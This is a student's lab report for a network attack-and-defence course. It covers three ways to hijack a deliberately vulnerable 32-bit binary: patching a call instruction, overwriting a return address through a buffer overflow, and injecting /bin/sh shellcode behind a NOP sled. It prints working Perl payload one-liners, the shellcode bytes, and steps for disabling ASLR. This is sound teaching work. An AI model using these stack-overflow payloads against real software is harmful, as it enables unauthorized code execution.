20252916 2025-2026-2 《网络攻防实践》第9周作业
20252916 2025-2026-2 《网络攻防实践》第9周作业
1.知识点梳理与总结
1.1 实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实验要求
- 掌握NOP、JNE、JE、JMP、CMP、CALL、RET等核心汇编指令对应的机器码å
- 熟练使用反汇编工具与十六进制编辑器,完成二进制文件的分析与修改
- 能够通过修改机器指令,精准改变程序的正常执行流程
- 理解缓冲区溢出攻击的核心原理,能够独立构造攻击载荷(Payload)完成BoF攻击
1.2 知识点整理
- 缓冲区溢出漏洞(Buffer Overflow): 一种高危的软件安全漏洞。其本质是程序在接收用户输入(如使用
gets等无边界检查的危险函数)时,未对输入长度进行严格限制,导致超长数据越界写入,覆盖了内存栈中相邻的控制数据(如EBP和EIP)。 - 函数调用栈与执行流劫持(BoF 攻击原理): 在 x86 架构中,函数调用依赖“栈帧”来保存局部变量和返回地址。当函数执行
ret指令时,CPU 会从栈中弹出之前保存的返回地址加载到指令指针寄存器(EIP)中。BoF 攻击正是通过精准计算偏移量,用恶意地址覆盖掉原本的 EIP,从而在函数返回时强行劫持程序的控制流。 - 攻击载荷(Payload)经典架构: 一个高容错的完整 Payload 通常由四部分精巧构造而成:
- 填充数据(Padding): 用于填满预分配的缓冲区并覆盖旧的 EBP(本实验中为 32 字节)。
- 恶意返回地址(EIP): 指向后续恶意代码的内存绝对地址(需根据目标环境动态测算,并以小端序反写)。
- NOP 滑板(NOP Sled): 大量的空指令(
\x90)。用于吸收真实运行环境与调试环境之间的“栈偏移”误差,只要 EIP 落在该区域任意位置,CPU 就会安全“滑”入真正的恶意代码。 - Shellcode: 一段针对特定 CPU 架构精心编写的纯机器码,要求极简且无坏字符,用于最终夺取系统控制权。
- 静态分析与修改工具:
objdump:反汇编利器,使用objdump -d命令可将二进制机器码翻译为汇编代码,用于梳理程序逻辑和查找函数入口地址。vim&xxd:结合 Vim 的十六进制模式(:%!xxd),可在不破坏 ELF 文件格式的前提下,直接在字节级别修改机器码(如修改call指令的相对偏移量)。
- 动态跟踪与测算工具:
gdb:Linux 环境下强大的动态调试器。在漏洞利用中,常利用它附加(attach)到运行中的进程,通过下断点(break)、查看寄存器(info r esp)和探查内存(x/16x)来精确定位溢出数据在真实内存中的坐标。
- 载荷构建与投递工具:
perl/python:用于通过命令行脚本(如print "\x...")将不可见的十六进制机器码精准输出并拼接为 Payload 文件。cat与 Linux 管道(|):组合使用(cat payload; cat) | ./程序是 Pwn 实验的经典手法。第一个cat负责投递炸弹,第二个cat负责保持输入流(stdin)不被关闭,从而留住被弹出的交互式 Shell。
2.实验过程
2.1 实验任务1
实验任务1的实验内容是手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。具体实验过程如下:
-
根据要求修改kali主机名,并且在学习通中下载实验所需的pwn1文件,修改主机名命令如下
sudo su # 切换到root权限 hostname 2916xc # 直接修改主机名 hostname # 验证修改结果
-
将实验所需的pwn1文件从学习通上下载并且通过vmtools工具传到kali虚拟机桌面,对该文件复制一下并且重命名。
cp pwn1 pwn2916xc
-
使用objdump工具对重命名后的程序进行反汇编
objdump -d pwn2916xc | more
-
输入
/getShell,快速锁定到getShell、foo和main函数;
把上述截图给AI解读总结三个函数的作用
-
getShell函数 (目标函数)-
起始地址:
0804847d -
核心指令: *
call 8048350 <system@plt> -
功能分析: 这个函数非常直接,它调用了 C 标准库中的
system()函数。system()的参数(即通过movl $0x8048560, (%esp)压入栈的那个字符串)大概率是"/bin/sh"或者类似打开命令行的指令。 -
在实验中的角色: 这是想要程序最终执行的地方。正常情况下程序是不会运行到这里的,需要通过修改二进制文件,强行把执行流导向这个地址(
0804847d)。
-
-
foo函数 (正常业务/漏洞函数)-
起始地址:
08048491 -
核心指令:
call 8048330 <gets@plt>call 8048340 <puts@plt>
-
功能分析: 这个函数主要做了两件事:先调用
gets()获取用户的输入存入缓冲区,然后调用puts()将刚才输入的内容打印出来。 -
在实验中的角色:
gets()函数是出了名的危险函数,因为它不检查输入字符串的长度。如果用户输入的内容超过了分配的缓冲区,,就会造成栈溢出(Stack Overflow),从而覆盖函数的返回地址。这是后续通过构造恶意输入(Payload)来改变执行流的突破口。
-
-
main函数 (程序入口点)-
起始地址:
080484af- 核心指令:
- 地址
80484b5:e8 d7 ff ff ffcall 8048491 <foo>
- 地址
- 核心指令:
-
功能分析: 这是程序的主函数,逻辑非常简单,就是直接调用
foo函数,执行完毕后通过mov $0x0, %eax返回 0 并退出。 -
在实验中的角色: 这是需要进行手工修改的地方。
-
-
-
由于任务是让 修改main 函数调用 getShell。我们需要修改 main 函数中那条 call 指令的机器码。
首先定位要修改的指令:
在
main函数中,调用 foo 的机器码是:80484b5: e8 d7 ff ff ff。其中e8是call指令的操作码。d7 ff ff ff是目标地址相对于当前指令下一条指令的相对偏移量(小端存储表示)。由于这条指令是5个字节,故当前call指令下一条指令的地址是:080484ba- 原目标函数
foo的地址是:08048491 - 相对偏移 =
08048491-080484ba=FFFFFFD7(负数用十六进制补码表示)。 - 因为 x86 架构是小端序(低位字节在低地址),所以在内存中显示为
d7 ff ff ff。
其次计算指向 getShell的新偏移量
- 目标函数
getShell的地址是:0804847d - 下一条指令的地址依然是:
080484ba - 新相对偏移 =
0804847d-080484ba=FFFFFFC3
最终修改方案: 将
FFFFFFC3转换为小端序,即为c3 ff ff ff。 - 原目标函数
-
根据步骤5的计算原理,用vim编辑器打开目标文件进行修改
vim pwn2916xc
按esc键,输入
:%!xxd将其变为16进制
输入
/e8 d7进行搜索
-
定位到高亮显示的这一行,把d7改为c3

-
改完后,还原文件内容为二进制格式
:%!xxd -r并且保存退出。然后执行反汇编命令,查看main的调用逻辑,可以看到main函数的调转已经变为804847d
,机器码修改成功。 objdump -d pwn2916xc | more
-
执行修改后的程序,可以看见确实成功进入了Shell交互界面。实验成功!!!
./pwn2916xc
2.2 实验任务2
本任务无需修改程序源文件,仅通过构造恶意输入字符串,利用foo函数的缓冲区溢出漏洞,覆盖栈中的返回地址,劫持程序执行流至getShell函数。
-
复制一个新的文件用于实验任务2
cp pwn1 pwn2916xc-2
-
输入
objdump -d pwn2916xc-2| more查看foo函数内容08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax 804849a: 89 04 24 mov %eax,(%esp) 804849d: e8 8e fe ff ff call 8048330 <gets@plt> 80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax 80484a5: 89 04 24 mov %eax,(%esp) 80484a8: e8 93 fe ff ff call 8048340 <puts@plt> 80484ad: c9 leave 80484ae: c3 ret结合AI对于代码的分析解读得出如下结论
确定缓冲区起点:
lea -0x1c(%ebp), %eax这句话的意思是,gets函数接收用户输入的缓冲区起始地址是ebp - 0x1c(即ebp - 28字节)。计算填充长度:
- 从缓冲区起点到
ebp寄存器,需要填满 28 字节。 - 覆盖掉原本保存的
ebp本身,还需要 4 字节(32位系统)。 - 过了
ebp之后,下一个 4 字节就是我们要找的返回地址了!
得出结论: 我们需要先输入 28 + 4 = 32 个字节的“垃圾数据”(比如 32 个字符 'A'),紧接着输入的 4 个字节就会精准覆盖掉原本的返回地址。
- 从缓冲区起点到
-
需要注意x86 架构的计算机在内存中存储数据时,采用的是“低位字节存放在低地址”的小端序规则。 所以,getShell地址
0x0804847d在我们构造的字符串中,必须倒过来写,也就是:\x7d\x84\x04\x08。 -
故构造Payload 并发起攻击的内容为32 个任意字符 +
\x7d\x84\x04\x08,由于这些十六进制的字符无法通过键盘直接敲进去,我们需要借助终端命令行工具(如perl或python)来生成并管道(pipe)给程序从而发起攻击。(perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"'; cat) | ./pwn2916xc-2
发现没有执行权限,输入
chmod u+x ./pwn2916xc-2给程序执行权限后再次尝试
可以发现,执行程序后,成进入Shell交互界面,可以运行
ls、whoami等指令,实验2任务圆满完成!!!
2.3 实验任务3
本任务需要构造包含自定义Shellcode的攻击载荷,通过缓冲区溢出漏洞将Shellcode注入程序内存空间,并且运行这段Shellcode,实现不依赖程序自带getShell函数的Shell获取。
-
安装execstack工具
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
安装这个安装包
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
查看是否安装成功以及版本

-
输入
execstack -s pwn1设置堆栈可执行,输入execstack -q pwn1验证文件的堆栈是否可执行,若输出X则代表可以执行。
-
关闭地址空间布局随机化(0表示关闭,2表示开始),并且输入
more /proc/sys/kernel/randomize_va_space进行验证,若输出0则表示关闭成功。sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'
-
利用 Perl 脚本生成一个包含占位符的初始 Payload,并输出到文件中,用于后续在内存中“踩点”。
载荷结构: 32字节填充 + 4字节假地址(\x01\x02\x03\x04) + 64字节NOP滑板 + 24字节Shellcode
执行如下命令:
perl -e 'print "A" x 32; print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode2916xc
-
GDB调试确定Shellcode的真实内存地址。
通过附加进程和打断点的方式,在程序崩溃前一瞬间拦截它,寻找注入数据的真实内存位置。
-
终端 A(运行程序): 注入载荷并挂起等待。
(cat input_shellcode2916xc; cat) | ./pwn1
-
终端 B(查找 PID 并附加): 找到程序的进程号并用 GDB 介入。
ps -ef | grep pwn1 # 记下 PID gdb (gdb) attach 目标PID
PID为197498

-
输入
disassemble foo,对 foo 进行反编译
可以看见ret的指令地址是
0x080484ae -
下断点并放行: 在
foo函数的ret指令处下断点,然后继续运行。break *0x080484ae
在终端A中按下回车键,终端B中输入
c
-
查看栈顶指针:
info r esp
可以看到输出的 esp 地址为
0xffffcf7c -
确认现场: 查看该地址的内存内容,验证占位返回地址的位置:
x/16x 0xffffcf7c
-
计算最终地址: 既然
0xffffcf7c存放的是返回地址,那么它的下一个地址(即0xffffcf7c + 4 = 0xffffcf80)就是 NOP 滑板的起点!
-
-
构造最终的Payload并执行攻击
把包含真实地址的攻击载荷写入一个独立的
final_payload文件中perl -e 'print "A" x 32; print "\x80\xcf\xff\xff" . "\x90" x 64 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\n"' > final_payload发起攻击
(cat final_payload; cat) | ./pwn1
可以看到正常进入命令行可以输入ls等命令,说明攻击成功,实验任务3圆满完成!!!
3.学习中遇到的问题及解决
问题1:修改主机名后终端前的提示信息还是没有改过来

解决办法:发现这个其实改过来了,需要重新开一个新的终端就可以正常显示了。

问题2:在实验任务1完成进行反编译验证时报错

解决方法:经查询,这个应该是没有转回二进制文件就保存退出了,导致了二进制文件(ELF文件)的底层结构已经被破坏了,需要重新复制原始文件重头来做一次,修改之后也是验证成功了。
问题3:在实验任务2的最后进行Payload攻击的时候,执行perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"' | ./pwn2916xc报如下错误

解决办法:通过AI搜索得知这个是因为出现了段错误,应该是已经成功攻击了,perl 瞬间打印完 36 个字节的恶意字符串,喂给 ./pwn2916xc-2。打印完后,进程立刻结束了。随着 perl 的结束,管道的“输入端”就被关闭了。此时,程序成功跳到了 getShell,并执行了 system("/bin/sh") 尝试打开一个命令行。但弹出的 /bin/sh 命令行刚准备接收输入的指令,却发现输入流已经被 perl 关闭了!它觉得“没事干了”,瞬间退出了。/bin/sh 退出后,getShell 函数继续往下执行准备 ret(返回),但此时栈已经被你刚才的 32 个 'A' 彻底破坏了,它去读了一个非法的地址,最终导致了 segmentation fault(段错误)。解决办法就是为了防止输入流被过早关闭,利用 cat 命令的特性,在 perl 执行完后,强行把输入流“续上”。即把命令修改成如下(perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"'; cat) | ./pwn2916xc-2。最后也是成功解决问题,完成了攻击。
4.学习感悟、思考等
此次实验通过三种截然不同的方式完成对目标程序的控制权劫持,我对 x86 汇编和栈内存布局有了具象化的理解。在实验过程中也遇到了许多困难与挑战,例如程序执行权限不够,程序执行出现段错误,执行了却异常终止等等,但是通过AI的帮助我逐渐找到问题的原因,最终极大的锻炼了我的搜索解决问题以及实际操作的能力,也让我对于理解软件漏洞和防御有了更加深刻的理解。

浙公网安备 33010602011771号